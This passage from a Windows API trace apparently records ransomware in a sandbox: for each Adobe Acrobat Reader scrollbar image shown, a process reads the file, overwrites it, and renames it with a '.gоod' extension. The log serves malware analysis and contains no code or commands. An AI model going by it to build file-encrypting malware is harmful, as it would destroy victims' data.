lpOldMode=0x1fdeb8e0) returned 1 [0185.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0185.237] GetFileType (hFile=0x820) returned 0x1 [0185.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0185.237] GetFileType (hFile=0x820) returned 0x1 [0185.237] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x38 [0185.237] ReadFile (in: hFile=0x820, lpBuffer=0x3781b00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x3781b00*, lpNumberOfBytesRead=0x1fdeb9b8*=0x38, lpOverlapped=0x0) returned 1 [0185.376] CloseHandle (hObject=0x820) returned 1 [0185.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x81 [0185.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0185.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0185.437] GetFileType (hFile=0x820) returned 0x1 [0185.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0185.437] GetFileType (hFile=0x820) returned 0x1 [0185.437] WriteFile (in: hFile=0x820, lpBuffer=0x372c708*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x372c708*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x40, lpOverlapped=0x0) returned 1 [0185.452] CloseHandle (hObject=0x820) returned 1 [0185.452] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x81 [0185.452] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif.gоod", lpFilePart=0x0) returned 0x86 [0185.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0185.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6abf3f05, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0185.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0185.452] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif.gоod")) returned 1 [0185.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", lpFilePart=0x0) returned 0x79 [0185.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0185.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif"), fInfoLevelId=0x0, lpFileInformation=0x372db00 | out: lpFileInformation=0x372db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0185.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0185.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", lpFilePart=0x0) returned 0x79 [0185.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0185.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0185.454] GetFileType (hFile=0x820) returned 0x1 [0185.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0185.454] GetFileType (hFile=0x820) returned 0x1 [0185.454] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x40 [0185.455] ReadFile (in: hFile=0x820, lpBuffer=0x372deb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x372deb8*, lpNumberOfBytesRead=0x1fdeb9b8*=0x40, lpOverlapped=0x0) returned 1 [0185.985] CloseHandle (hObject=0x820) returned 1 [0186.215] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", lpFilePart=0x0) returned 0x79 [0186.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0186.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0186.216] GetFileType (hFile=0x820) returned 0x1 [0186.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0186.216] GetFileType (hFile=0x820) returned 0x1 [0186.217] WriteFile (in: hFile=0x820, lpBuffer=0x36f9f28*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x36f9f28*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x50, lpOverlapped=0x0) returned 1 [0186.218] CloseHandle (hObject=0x820) returned 1 [0186.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif", lpFilePart=0x0) returned 0x79 [0186.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif.gоod", lpFilePart=0x0) returned 0x7e [0186.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0186.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6b3414bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0186.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0186.218] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif.gоod")) returned 1 [0186.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x7e [0186.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0186.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x36fb2f0 | out: lpFileInformation=0x36fb2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39)) returned 1 [0186.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0186.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x7e [0186.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0186.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0186.220] GetFileType (hFile=0x820) returned 0x1 [0186.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0186.220] GetFileType (hFile=0x820) returned 0x1 [0186.220] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x39 [0186.220] ReadFile (in: hFile=0x820, lpBuffer=0x36fcf20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x36fcf20*, lpNumberOfBytesRead=0x1fdeb9b8*=0x39, lpOverlapped=0x0) returned 1 [0186.221] CloseHandle (hObject=0x820) returned 1 [0186.247] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x7e [0186.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0186.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0186.249] GetFileType (hFile=0x820) returned 0x1 [0186.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0186.249] GetFileType (hFile=0x820) returned 0x1 [0186.249] WriteFile (in: hFile=0x820, lpBuffer=0x3774550*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3774550*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x40, lpOverlapped=0x0) returned 1 [0186.429] CloseHandle (hObject=0x820) returned 1 [0187.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif", lpFilePart=0x0) returned 0x7e [0187.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif.gоod", lpFilePart=0x0) returned 0x83 [0187.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0187.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6b5574fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0187.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0187.133] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif.gоod")) returned 1 [0187.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif", lpFilePart=0x0) returned 0x76 [0187.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0187.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif"), fInfoLevelId=0x0, lpFileInformation=0x377b5e0 | out: lpFileInformation=0x377b5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39)) returned 1 [0187.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0187.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif", lpFilePart=0x0) returned 0x76 [0187.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0187.134] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0187.134] GetFileType (hFile=0x7c8) returned 0x1 [0187.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0187.134] GetFileType (hFile=0x7c8) returned 0x1 [0187.135] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x39 [0187.135] ReadFile (in: hFile=0x7c8, lpBuffer=0x377b988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x377b988*, lpNumberOfBytesRead=0x1fdeb9b8*=0x39, lpOverlapped=0x0) returned 1 [0187.135] CloseHandle (hObject=0x7c8) returned 1 [0187.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0187.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0187.164] GetFileType (hFile=0x7c8) returned 0x1 [0187.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0187.164] GetFileType (hFile=0x7c8) returned 0x1 [0187.164] WriteFile (in: hFile=0x7c8, lpBuffer=0x37f4448*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdeb8c8, lpOverlapped=0x0 | out: lpBuffer=0x37f4448*, lpNumberOfBytesWritten=0x1fdeb8c8*=0x40, lpOverlapped=0x0) returned 1 [0187.165] CloseHandle (hObject=0x7c8) returned 1 [0187.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif", lpFilePart=0x0) returned 0x76 [0187.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif.gоod", lpFilePart=0x0) returned 0x7b [0187.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0187.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6bc583cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0187.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0187.166] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif.gоod")) returned 1 [0187.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0187.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes", lpFilePart=0x0) returned 0x70 [0187.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 